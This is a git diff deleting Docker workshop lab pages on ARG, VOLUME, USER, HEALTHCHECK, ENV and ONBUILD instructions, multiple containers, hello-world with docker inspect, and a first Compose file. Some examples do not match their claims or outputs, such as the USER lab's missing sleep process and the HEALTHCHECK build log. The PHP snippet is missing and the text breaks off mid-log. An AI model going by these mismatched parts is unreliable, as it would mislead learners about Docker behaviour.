a/content/en/docker/a13.ARG-instruction.md +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: "Dockerfile Lab - ARG instruction" -slug: "Dockerfile-Lab-ARG-instruction" ---- - - -```dockerfile -FROM alpine - -ENV key1="ENV is stronger than an ARG" -RUN echo ${key1} -ARG key1="not going to matter" -RUN echo ${key1} - -RUN echo ${key2} -ARG key2="defaultValue" -RUN echo ${key2} -ENV key2="ENV value takes over" -RUN echo ${key2} -CMD ["sh"] -``` - -#### Build Dockerfile - -```sh - Dockerfile git:(main) ✗ docker build -t sangam14/arg-dockerfile -f dockerfile.arg . -[+] Building 3.5s (11/11) FINISHED - => [internal] load build definition from dockerfile.arg 0.0s - => => transferring dockerfile: 336B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 2.2s - => [auth] library/alpine:pull token for registry-1.docker.io 0.0s - => CACHED [1/6] FROM docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a 0.0s - => [2/6] RUN echo ENV is stronger than an ARG 0.2s - => [3/6] RUN echo not going to matter 0.1s - => [4/6] RUN echo ${key2} 0.3s - => [5/6] RUN echo defaultValue 0.2s - => [6/6] RUN echo ENV value takes over 0.3s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:acf55f3ef13e44ff24acf18f9c6320e5af33aa3eb9789274a46f47a9dff6d474 0.0s - => => naming to docker.io/sangam14/arg-dockerfile - - ``` - -#### Inspect Env variable - -```sh -docker image inspect --format '{{json .Config}}' sangam14/arg-demo:1.0 | jq '.Env' - -``` - -output - -```sh -docker image inspect --format '{{json .Config}}' sangam14/arg-dockerfile | jq '.Env' -[ - "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", - "key1=ENV is stronger than an ARG", - "key2=ENV value takes over" -] -``` -docker container run sangam14/arg-dockerfile env - -```sh -docker container run sangam14/arg-dockerfile env -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -HOSTNAME=7b09d8fffd50 -key1=ENV is stronger than an ARG -key2=ENV value takes over -HOME=/root - -``` -#### Pass env values while building dockerfile - -```sh -docker build --rm --build-arg key1="buildTimeValue" --build-arg key2="good till env instruction" --tag sangam14/arg-dockerfile1 -f dockerfile.arg . -Sending build context to Docker daemon 50.18kB -Step 1/11 : FROM alpine -latest: Pulling from library/alpine -af6eaf76a39c: Already exists -Digest: sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a -Status: Downloaded newer image for alpine:latest - ---> d74e625d9115 -Step 2/11 : ENV key1="ENV is stronger than an ARG" - ---> Running in 93620e2ca3e2 -Removing intermediate container 93620e2ca3e2 - ---> e5eaad1dfbfa -Step 3/11 : RUN echo ${key1} - ---> Running in bf14143efff7 -ENV is stronger than an ARG -Removing intermediate container bf14143efff7 - ---> 2936757fac41 -Step 4/11 : ARG key1="not going to matter" - ---> Running in 161bf9d911e7 -Removing intermediate container 161bf9d911e7 - ---> 87ff1f1e4c1b -Step 5/11 : RUN echo ${key1} - ---> Running in 2e69ff7a2d91 -ENV is stronger than an ARG -Removing intermediate container 2e69ff7a2d91 - ---> af66f1b039df -Step 6/11 : RUN echo ${key2} - ---> Running in 5dd29054ba99 - -Removing intermediate container 5dd29054ba99 - ---> f575cd74046a -Step 7/11 : ARG key2="defaultValue" - ---> Running in 757002f257f0 -Removing intermediate container 757002f257f0 - ---> d60933ac5ef5 -Step 8/11 : RUN echo ${key2} - ---> Running in 742bdd38d1e0 -good till env instruction -Removing intermediate container 742bdd38d1e0 - ---> b32166e66170 -Step 9/11 : ENV key2="ENV value takes over" - ---> Running in 1bedb017ed72 -Removing intermediate container 1bedb017ed72 - ---> c8a4d9a2fd20 -Step 10/11 : RUN echo ${key2} - ---> Running in 96dbe6d53412 -ENV value takes over -Removing intermediate container 96dbe6d53412 - ---> 6270d392443c -Step 11/11 : CMD ["sh"] - ---> Running in b13a9ae5798f -Removing intermediate container b13a9ae5798f - ---> 9f878f6fe503 -Successfully built 9f878f6fe503 -Successfully tagged sangam14/arg-dockerfile1:latest -``` - -#### Inspect Env of new docker image - -```sh -docker image inspect --format '{{json .Config}}' sangam14/arg-dockerfile1:latest | jq '.Env' -[ - "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", - "key1=ENV is stronger than an ARG", - "key2=ENV value takes over" -] -``` - -```sh -docker container run sangam14/arg-dockerfile1 env -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -HOSTNAME=dff7e104aadb -key1=ENV is stronger than an ARG -key2=ENV value takes over -HOME=/root - -``` - - -cat dockerfile.arg1 - -```Dockerfile - -FROM alpine - -ENV lifecycle="production" -RUN echo ${lifecycle} -ARG username="35" -RUN echo ${username} -ARG appdir -RUN echo ${appdir} - -ADD hello /${appdir}/ -RUN chown -R ${username}:${username} ${appdir} -WORKDIR ${appdir} -USER ${username} - -CMD ["./hello"] - -``` - -#### build docker image and pass build args - -```sh -docker build --build-arg username=35 --build-arg appdir="/opt/hello" -t sangam14/arg1-dockerfile -f dockerfile.arg1 . -``` - diff --git a/content/en/docker/a14.Volume-Instruction.md b/content/en/docker/a14.Volume-Instruction.md deleted file mode 100644 index c84f564..0000000 --- a/content/en/docker/a14.Volume-Instruction.md +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: "Dockerfile Lab - Volume instruction" -slug: "Dockerfile-Lab-Volume-instruction" ---- - - -cat dockerfile.vol - -```Dockerfile -FROM alpine -RUN mkdir /myvol -RUN echo "hello world" > /myvol/greeting -VOLUME /myvol -CMD ["sh"] - -``` - -#### Build above dockerfile - -```sh -docker build -t sangam14/vol-dockerfile -f dockerfile.vol . -[+] Building 0.4s (7/7) FINISHED - => [internal] load build definition from dockerfile.vol 0.0s - => => transferring dockerfile: 140B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 0.0s - => CACHED [1/3] FROM docker.io/library/alpine 0.0s - => [2/3] RUN mkdir /myvol 0.2s - => [3/3] RUN echo "hello world" > /myvol/greeting 0.2s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:7d9ebad9eb42a7006dbb89c1a544e5fcbce3de83cb470210b89adf4ffc4670db 0.0s - => => naming to docker.io/sangam14/vol-dockerfile 0.0s -``` - -#### run dockerg - -```sh -docker run --rm -it --mount source=myvolsrc,target=/myvol sangam14/vol-dockerfile -``` - -output - -```sh -docker run --rm -it --mount source=myvolsrc,target=/myvol sangam14/vol-dockerfile -/ # ls -bin dev etc home lib media mnt myvol opt proc root run sbin srv sys tmp usr var -/ # cat myvol/greeting -hello world - -``` -#### check it out all mounted volumes - -```sh -docker volume ls - -``` -output - -```sh -Dockerfile git:(main) ✗ docker volume ls -DRIVER VOLUME NAME -local myvolsrc - -``` - -#### run container - -```sh -docker run --rm -d --name vol-demo sangam14/vol-dockerfile tail -f /dev/null -76a5bfedc0a43bde7f2788fec5e5aafaa94854f16f960ed736ba598b80560f8d - -``` - -```sh -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -76a5bfedc0a4 sangam14/vol-dockerfile "tail -f /dev/null" About a minute ago Up About a minute vol-demo -``` -#### stop running container - -```sh -docker container stop vol-demo -vol-demo - -``` - -#### lets run container - -```sh -docker run -d --name vol-demo --mount source=myvolsrc,target=/myvol sangam14/vol-dockerfile tail -f /dev/null -``` -#### exec into running container - -```sh - Dockerfile git:(main) ✗ docker container exec vol-demo ls -l /myvol -total 4 --rw-r--r-- 1 root root 12 Mar 2 19:47 greeting - -``` -#### check it out mount point using docker inspect - -```sh - -docker volume inspect myvolsrc -f "{{.Mountpoint}}" -``` - -#### stop running container - -```sh -docker container stop vol-demo -``` -#### remove container - -```sh -docker container rm vol-demo - -``` -#### remove volume - -```sh -docker volume rm myvolsrc -``` -#### verify once - -```sh -docker volume ls -docker container ls -``` diff --git a/content/en/docker/a15.User-Instruction.md b/content/en/docker/a15.User-Instruction.md deleted file mode 100644 index e3aec66..0000000 --- a/content/en/docker/a15.User-Instruction.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: "Dockerfile Lab - USER instruction" -slug: "Dockerfile-Lab-USER-instruction" ---- - - -cat dockerfile.user - -```Dockerfile -FROM alpine -USER dockerworkshop:dockerworkshop -CMD ["sh"] - -``` - -#### build dockerfile - -```sh -docker build -t sangam14/user-dockerfile -f dockerfile.user . -[+] Building 0.1s (5/5) FINISHED - => [internal] load build definition from dockerfile.user 0.0s - => => transferring dockerfile: 105B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 0.0s - => CACHED [1/1] FROM docker.io/library/alpine 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:48482459d09aecafaa0db190d6995b6d2339c0383c6cd97fafbea288124332c7 0.0s - => => naming to docker.io/sangam14/user-dockerfile - -``` - -#### run docker container in detach mode - -```sh -docker container run -d sangam14/user-dockerfile -5880a92a14d3944a4be00a19d55a19dd941f0c1b9a7a7b9159febcc29a09ea98 - -``` - -If we check the owner of the sleep process on the host, we can see it belongs to the user with uid 1000, the one that is created in the image - - -```sh -ps aux | grep sleep -sangambiradar 22103 0.0 0.0 408111776 1168 s000 S+ 2:03AM 0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox sleep - -``` diff --git a/content/en/docker/a16.HEALTHCHECK-instruction.md b/content/en/docker/a16.HEALTHCHECK-instruction.md deleted file mode 100644 index 5dd68a9..0000000 --- a/content/en/docker/a16.HEALTHCHECK-instruction.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: "Dockerfile Lab - HEALTHCHECK instruction" -slug: "Dockerfile-Lab-HEALTHCHECK-instruction" ---- - - -cat Dockerfile - -```sh -FROM nginx - -``` - -#### build docker container - -```sh -docker build -t sangam14/healthcheck-dockerfile -f dockerfile.healthcheck . -[+] Building 1.4s (6/6) FINISHED - => [internal] load build definition from dockerfile.healthcheck 0.0s - => => transferring dockerfile: 244B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 0.0s - => CACHED [1/2] FROM docker.io/library/alpine 0.0s - => [2/2] RUN apk add curl 1.3s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:2486b7b700a94a3e91237b3b8720f2b36c6e5e6b90584638db8c328a78dd90f9 0.0s - => => naming to docker.io/sangam14/healthcheck-dockerfile 0.0s -➜ Dockerfile git:(main) ✗ -``` - -### expose docker port on 80 port - -```sh -➜ Dockerfile git:(main) ✗ docker container run --rm -d -p 80:80 --name health sangam14/healthcheck-dockerfile -408e0d86098c4136dd36c7abf51ce4c6eb495d5fd33056f2b9e9a1176434853e -``` - -```sh -FROM nginx -RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/* -HEALTHCHECK --interval=5s --timeout=3s \ - CMD curl -fs http://localhost/ || exit 1 -``` - - -### build dockerfile - -```sh - Dockerfile git:(main) ✗ docker build -t sangam14/healthcheck-dockerfile -f dockerfile.healthcheck . -[+] Building 2.7s (6/6) FINISHED - => [internal] load build definition from dockerfile.healthcheck 0.0s - => => transferring dockerfile: 227B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/nginx:latest 0.0s - => CACHED [1/2] FROM docker.io/library/nginx 0.0s - => [2/2] RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/* 2.6s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:c3b3dc3b23772975869bb5dc0dda8d877bcc16e6b408b31938f3deb309f92da7 0.0s - => => naming to docker.io/sangam14/healthcheck-dockerfile 0.0s - - - -``` - -#### inspect healthcheck - -```sh - docker inspect --format '{{json .State.Health}}' health -{"Status":"healthy","FailingStreak":0,"Log":[{"Start":"2023-03-02T21:58:38.327900678Z","End":"2023-03-02T21:58:38.409811095Z","ExitCode":0,"Output":"\n\n\nWelcome to nginx!\n\n\n\n

Welcome to nginx!

\n

If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.

\n\n

For online documentation and support please refer to\nnginx.org.
\nCommercial support is available at\nnginx.com.

\n\n

Thank you for using nginx.

\n\n\n"},{"Start":"2023-03-02T21:58:43.417592375Z","End":"2023-03-02T21:58:43.510278458Z","ExitCode":0,"Output":"\n\n\nWelcome to nginx!\n\n\n\n

Welcome to nginx!

\n

If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.

\n\n

For online documentation and support please refer to\nnginx.org.
\nCommercial support is available at\nnginx.com.

\n\n

Thank you for using nginx.

\n\n\n"},{"Start":"2023-03-02T21:58:48.514938961Z","End":"2023-03-02T21:58:48.601586961Z","ExitCode":0,"Output":"\n\n\nWelcome to nginx!\n\n\n\n

Welcome to nginx!

\n

If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.

\n\n

For online documentation and support please refer to\nnginx.org.
\nCommercial support is available at\nnginx.com.

\n\n

Thank you for using nginx.

\n\n\n"},{"Start":"2023-03-02T21:58:53.606320671Z","End":"2023-03-02T21:58:53.693584213Z","ExitCode":0,"Output":"\n\n\nWelcome to nginx!\n\n\n\n

Welcome to nginx!

\n

If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.

\n\n

For online documentation and support please refer to\nnginx.org.
\nCommercial support is available at\nnginx.com.

\n\n

Thank you for using nginx.

\n\n\n"},{"Start":"2023-03-02T21:58:58.697104757Z","End":"2023-03-02T21:58:58.780027924Z","ExitCode":0,"Output":"\n\n\nWelcome to nginx!\n\n\n\n

Welcome to nginx!

\n

If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.

\n\n

For online documentation and support please refer to\nnginx.org.
\nCommercial support is available at\nnginx.com.

\n\n

Thank you for using nginx.

\n\n\n"}]} - -``` - - -★ `--interval`: This specifies the period between each health check (the default is 30s). -
-★ `--timeout`: If no success response is received within this period, the health check is considered failed (the default is 30s). -
-★ `--start-period`: The duration to wait before running the first health check. This is used to give a startup time for the container (the default is 0s). -
-★ `--retries` : The container will be considered unhealthy if the health check failed consecutively for the given number of retries (the default is 3). \ No newline at end of file diff --git a/content/en/docker/a17.ENV-instruction.md b/content/en/docker/a17.ENV-instruction.md deleted file mode 100644 index 22b315f..0000000 --- a/content/en/docker/a17.ENV-instruction.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: "Dockerfile Lab - ENV instruction " -slug: "Dockerfile-Lab-ENV-instruction" ---- - - -cat dockerfile - -```dockerfile -FROM alpine -ENV appDescription This app is a sample of using ENV instructions -ENV appName=env-demo -ENV note1="The First Note First" note2=The\ Second\ Note\ Second \ - note3="The Third Note Third" -ENV changeMe="Old Value" -CMD ["sh"] - - -``` - -#### build dockerfile - -```sh - -➜ Dockerfile git:(main) ✗ docker build -t sangam14/env-dockerfile -f dockerfile.env . -[+] Building 0.1s (5/5) FINISHED - => [internal] load build definition from dockerfile.env 0.0s - => => transferring dockerfile: 279B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 0.0s - => CACHED [1/1] FROM docker.io/library/alpine 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:6f9741e9b952495e61c515945c4acd85d85aef1e631b7d37c348c26e9f5d216d 0.0s - => => naming to docker.io/sangam14/env-dockerfile 0.0s - -``` - -### inspect Env Config - -```sh -docker image inspect --format '{{json .Config}}' sangam14/env-dockerfile | jq '.Env' -[ - "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", - "appDescription=This app is a sample of using ENV instructions", - "appName=env-demo", - "note1=The First Note First", - "note2=The Second Note Second", - "note3=The Third Note Third", - "changeMe=Old Value" -] - -``` -#### change envirmonment variable - -```sh - -docker run --rm --env changeMe="New Value" --env adhoc="run time" sangam14/env-dockerfile env -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -HOSTNAME=12804862fac4 -changeMe=New Value -adhoc=run time -appDescription=This app is a sample of using ENV instructions -appName=env-demo -note1=The First Note First -note2=The Second Note Second -note3=The Third Note Third -HOME=/root - -``` \ No newline at end of file diff --git a/content/en/docker/a18.ONBUILD-instruction.md b/content/en/docker/a18.ONBUILD-instruction.md deleted file mode 100644 index 917216f..0000000 --- a/content/en/docker/a18.ONBUILD-instruction.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: "Dockerfile Lab - ONBUILD instruction " -slug: "Dockerfile-Lab-ONBUILD-instruction" ---- - -#### The ONBUILD instruction - -The ONBUILD instruction is a trigger. It sets instructions that will be executed when another image is built from the image being build. - -This is useful for building images which will be used as a base to build other images. - -```sh -ONBUILD COPY . /src - -``` - -You can't chain ONBUILD instructions with ONBUILD. -ONBUILD can't be used to trigger FROM instructions. - - -```Dockerfile -FROM nginx:1.16-alpine -WORKDIR /usr/share/nginx/html -ONBUILD COPY index.html . -``` - -#### build dockerfile - -```sh -docker build -t sangam14/onbuild-dockerfile -f dockerfile.onbuild . -[+] Building 5.8s (7/7) FINISHED - => [internal] load build definition from dockerfile.onbuild 0.0s - => => transferring dockerfile: 129B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/nginx:1.16-alpine 3.3s - => [auth] library/nginx:pull token for registry-1.docker.io 0.0s - => [1/2] FROM docker.io/library/nginx:1.16-alpine@sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad 2.4s - => => resolve docker.io/library/nginx:1.16-alpine@sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad 0.0s - => => sha256:f07e4bcf42b862c240f4c00f2f7ed362d7d93ca15151de547beda593f3b669e5 2.72MB / 2.72MB 0.8s - => => sha256:078902f02c3a797288251014301298bd748886eaf5fc107e128cc1b4933ec57d 6.25MB / 6.25MB 2.1s - => => sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad 1.41kB / 1.41kB 0.0s - => => sha256:75a7ebf15c39feb30c0444c1ab8d585fe490c35dca30c337e06b73c55fb0e30f 739B / 739B 0.0s - => => sha256:c3144a54094d9628d01573952dfc7b580a76f2a3570f72b8900df676a697c1bb 6.98kB / 6.98kB 0.0s - => => extracting sha256:f07e4bcf42b862c240f4c00f2f7ed362d7d93ca15151de547beda593f3b669e5 0.1s - => => extracting sha256:078902f02c3a797288251014301298bd748886eaf5fc107e128cc1b4933ec57d 0.3s - => [2/2] WORKDIR /usr/share/nginx/html 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:8fc6b719b70ed34467487519cca45523b18eb6f394187d50b08f5157b495efe4 0.0s - => => naming to docker.io/sangam14/onbuild-dockerfile 0.0s - ``` - - -### create another dockerfile - -```Dockerfile -From sangam14/onbuild-dockerfile -COPY index.html . - -``` -#### here you will see default ngnix index page - -```sh - docker run -p 80:80 sangam14/onbuild-dockerfile - - ``` - -#### build docker file - -```sh - -docker build -t sangam14/onbuild1-dockerfile -f dockerfile.onbuild1 . -[+] Building 0.1s (8/8) FINISHED - => [internal] load build definition from dockerfile.onbuild1 0.0s - => => transferring dockerfile: 107B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/sangam14/onbuild-dockerfile:latest 0.0s - => [internal] load build context 0.0s - => => transferring context: 32B 0.0s - => [1/2] FROM docker.io/sangam14/onbuild-dockerfile 0.0s - => [2/2] COPY index.html . 0.0s - => [3/2] COPY index.html . 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:c2291a76ea7cf76b5449ad476d47880b3c5b1bf0119cf7d1fe54111f88db2157 0.0s - => => naming to docker.io/sangam14/onbuild1-dockerfile -``` - -above container copied index.html form local - -```sh -docker run -p 80:80 sangam14/onbuild1-dockerfile -``` \ No newline at end of file diff --git a/content/en/docker/a19.Multiple-Container.md b/content/en/docker/a19.Multiple-Container.md deleted file mode 100644 index ecd5a4f..0000000 --- a/content/en/docker/a19.Multiple-Container.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: "Running multiple docker containers from CLI " -slug: "Running-multiple-docker-containers-from-CLI" ---- - -#### We will create two containers (linux1, linux2) based on the same image (ubuntu) - -```sh -docker run -it -d --rm --name linux1 ubuntu /bin/bash - -``` -additional flags: -`-d`starts the container as “detached”. Use “docker attach” to attach to it later on. -`--rm` cleans up the container after stopping. The container will be removed, basically the same as “docker rm container_identifier” after stopping the container. So everything is kept tidy. -`--name` will give the container a dedicated name, which makes it easier to address the container later on. - - -#### Creates container “linux2” - -```sh -docker run -it -d --rm --name linux2 ubuntu /bin/bash -``` -#### Attaches to container linux1 -```sh -> docker attach linux1 -``` -#### Creates a new directory on container linux1 -```sh -> ls -> mkdir mylinux1 -``` -#### Shows that “mylinux1” was created - -```sh -> ls - -``` -#### Attaches to container linux2 - -```sh -> docker attach linux2 - -``` - Shows that the directory of linux2 is different than linux1, although they are both from the same image “ubuntu” - They are separated, they don’t share their file-system -The bash process is isolated in the container - -```sh - -> ls - -``` -```sh -> exit -``` -Shows only one container which is running, the other one got removed -```sh -> docker ps -a - -``` - diff --git a/content/en/docker/a2.hello-world.md b/content/en/docker/a2.hello-world.md deleted file mode 100644 index b6c8adf..0000000 --- a/content/en/docker/a2.hello-world.md +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: "Docker Hello World Example" -slug: Docker-Hello-World-Example ---- - -#### run your first hello world example - -```sh -docker run hello-world -``` -is a command that runs a simple Docker container to verify that Docker is correctly installed on your system and working as expected. - -When you run this command, Docker will first check if the "hello-world" image is available locally. If the image is not found, Docker will download it from the Docker Hub registry. - -Once the "hello-world" image is available, Docker will create a container from the image and run it. The container will print a message to the console to indicate that everything is working correctly. - -Here's an example of what you might see when you run docker run hello-world: - -```sh -docker run hello-world -Unable to find image 'hello-world:latest' locally -latest: Pulling from library/hello-world -7050e35b49f5: Pull complete -Digest: sha256:6e8b6f026e0b9c419ea0fd02d3905dd0952ad1feea67543f525c73a0a790fefb -Status: Downloaded newer image for hello-world:latest - -Hello from Docker! -This message shows that your installation appears to be working correctly. - -To generate this message, Docker took the following steps: - 1. The Docker client contacted the Docker daemon. - 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. - (arm64v8) - 3. The Docker daemon created a new container from that image which runs the - executable that produces the output you are currently reading. - 4. The Docker daemon streamed that output to the Docker client, which sent it - to your terminal. - -To try something more ambitious, you can run an Ubuntu container with: - $ docker run -it ubuntu bash - -Share images, automate workflows, and more with a free Docker ID: - https://hub.docker.com/ - -For more examples and ideas, visit: - https://docs.docker.com/get-started/ - - -``` -#### check it out list of docker images - -```sh -dockerworkshop git:(main) ✗ docker images -REPOSITORY TAG IMAGE ID CREATED SIZE -hello-world latest 46331d942d63 11 months ago 9.14kB -``` - - -docker inspect is a command used to retrieve detailed information about one or more Docker objects, such as containers, images, networks, volumes, and more. The command allows you to inspect the configuration and state of a Docker object, including its metadata, networking information, storage configuration, and more. - -Here's the basic syntax of the docker inspect command: - -```sh -docker inspect [OPTIONS] OBJECT [OBJECT...] - -``` -- OPTIONS: Optional flags that modify the output of the command. -- OBJECT: The name or ID of the Docker object to inspect. - -For example, to inspect a running Docker container named hello-world , you could use the following command: - -```sh -docker inspect hello-world -[ - { - "Id": "sha256:46331d942d6350436f64e614d75725f6de3bb5c63e266e236e04389820a234c4", - "RepoTags": [ - "hello-world:latest" - ], - "RepoDigests": [ - "hello-world@sha256:6e8b6f026e0b9c419ea0fd02d3905dd0952ad1feea67543f525c73a0a790fefb" - ], - "Parent": "", - "Comment": "", - "Created": "2022-03-19T16:12:58.923371954Z", - "Container": "b2af51419cbf516f3c99b877a64906b21afedc175bd3cd082eb5798e2f277bb4", - "ContainerConfig": { - "Hostname": "b2af51419cbf", - "Domainname": "", - "User": "", - "AttachStdin": false, - "AttachStdout": false, - "AttachStderr": false, - "Tty": false, - "OpenStdin": false, - "StdinOnce": false, - "Env": [ - "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" - ], - "Cmd": [ - "/bin/sh", - "-c", - "#(nop) ", - "CMD [\"/hello\"]" - ], - "Image": "sha256:cc0fff24c4ece63ade5d9f549e42c926cf569112c4f5c439a4a57f3f33f5588b", - "Volumes": null, - "WorkingDir": "", - "Entrypoint": null, - "OnBuild": null, - "Labels": {} - }, - "DockerVersion": "20.10.12", - "Author": "", - "Config": { - "Hostname": "", - "Domainname": "", - "User": "", - "AttachStdin": false, - "AttachStdout": false, - "AttachStderr": false, - "Tty": false, - "OpenStdin": false, - "StdinOnce": false, - "Env": [ - "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" - ], - "Cmd": [ - "/hello" - ], - "Image": "sha256:cc0fff24c4ece63ade5d9f549e42c926cf569112c4f5c439a4a57f3f33f5588b", - "Volumes": null, - "WorkingDir": "", - "Entrypoint": null, - "OnBuild": null, - "Labels": null - }, - "Architecture": "arm64", - "Variant": "v8", - "Os": "linux", - "Size": 9136, - "VirtualSize": 9136, - "GraphDriver": { - "Data": { - "MergedDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/merged", - "UpperDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/diff", - "WorkDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/work" - }, - "Name": "overlay2" - }, - "RootFS": { - "Type": "layers", - "Layers": [ - "sha256:efb53921da3394806160641b72a2cbd34ca1a9a8345ac670a85a04ad3d0e3507" - ] - }, - "Metadata": { - "LastTagTime": "0001-01-01T00:00:00Z" - } - } -] - -``` diff --git a/content/en/docker/a20.write-first-Docker_compose.md b/content/en/docker/a20.write-first-Docker_compose.md deleted file mode 100644 index 760a820..0000000 --- a/content/en/docker/a20.write-first-Docker_compose.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: "Write First Docker Compose file " -slug: "Write-First-Docker-Compose-file" ---- - -cat Dockerfile - -```dockerfile -FROM php:7.2-apache -COPY index.php /var/www/html - -``` - -add index.php file - -```php - [internal] booting buildkit 3.8s - => => pulling image moby/buildkit:buildx-stable-1 2.8s - => => creating container buildx_buildkit_great_brahmagupta0 1.1s - => [internal] load build definition from Dockerfile 0.0s - => => transferring dockerfile: 85B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/php:7.2-apache 4.3s - => [auth] library/php:pull token for registry-1.docker.io 0.0s - => [internal] load build context 0.0s - => => transferring context: 67B 0.0s - => [1/2] FROM docker.io/library/php:7.2-apache@sha256:4dc0f0115acf8c2f0df69295ae822e49f5ad5fe849725847f15aa0e5802b55f8 8.3s - => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf8c2f0df69295ae822e49f5ad5fe849725847f15aa0e5802b55f8 0.0s - => => sha256:9639d8c8cc76eb6501b4135a054c1a85bd7397db1010d043bcc03d32bf6d79b6 895B / 895B 0.5s - => => sha256:119f7607f913c50661a95311027b7b944c7bf2ee9e7af5361a14b72ce4d36b34 247B / 247B 0.3s - => => sha256:c5ff78edaefc7917757ec4e434738d5561d016bedd20ebdeeee362ec53c8d200 2.27kB / 2.27kB 0.6s - => => sha256:1c04bb0b5fbe7c2927e6282625ccf4c5e0399e9da46f4a84bb8072dc98add6e5 214B / 214B 0.5s - => => sha256:709f68bc1d50527b9d9de50c516cb337468feb59c6135b414dda628d902a1bc8 13.52MB / 13.52MB 3.2s - => => sha256:9e92e56de9f5b0243dc28d80127f51f9f773d64ce4ae1ad58cfff06c2dcd4c29 494B / 494B 0.8s - => => sha256:485201b000c7ca5a73c2f9d047a204442ea5871a8a1405809d623884d83afc05 12.65MB / 12.65MB 0.9s - => => sha256:28135fd83ed1ac66e6f4288fabe4c84616cfe420e8e6808ba92d052771325ab4 517B / 517B 0.5s - => => sha256:5543a36f8eed548f436944bf39a2e918115fc9b30b54416c1081566f25716010 475B / 475B 0.6s - => => sha256:8d436d7bb0262f042a9554b5c54b25bc1d19cabbb9435747672c34d12f8dc1d0 18.58MB / 18.58MB 1.5s - => => sha256:c17a0a78e91d3ac0ec4a0c0566f57580154ead8d8967258efe94989d86cd05bd 269B / 269B 1.4s - => => sha256:30eb7a300f132babe7d5ed65f9e81a1fdd4542ecf70ac29a91bc290484dbc5e5 70.34MB / 70.34MB 3.2s - => => sha256:c9648d7fcbb6d597cf33916d8fcd207fde8ec05d764b4480d4f3e884e142a902 25.86MB / 25.86MB 3.1s - => => sha256:f88cecc04e76783f0006b9fed72be749e834825383e941e16de2565a0e4a8cc3 229B / 229B 0.5s - => => extracting sha256:c9648d7fcbb6d597cf33916d8fcd207fde8ec05d764b4480d4f3e884e142a902 0.6s - => => extracting sha256:f88cecc04e76783f0006b9fed72be749e834825383e941e16de2565a0e4a8cc3 0.0s - => => extracting sha256:30eb7a300f132babe7d5ed65f9e81a1fdd4542ecf70ac29a91bc290484dbc5e5 1.2s - => => extracting sha256:c17a0a78e91d3ac0ec4a0c0566f57580154ead8d8967258efe94989d86cd05bd 0.0s - => => extracting 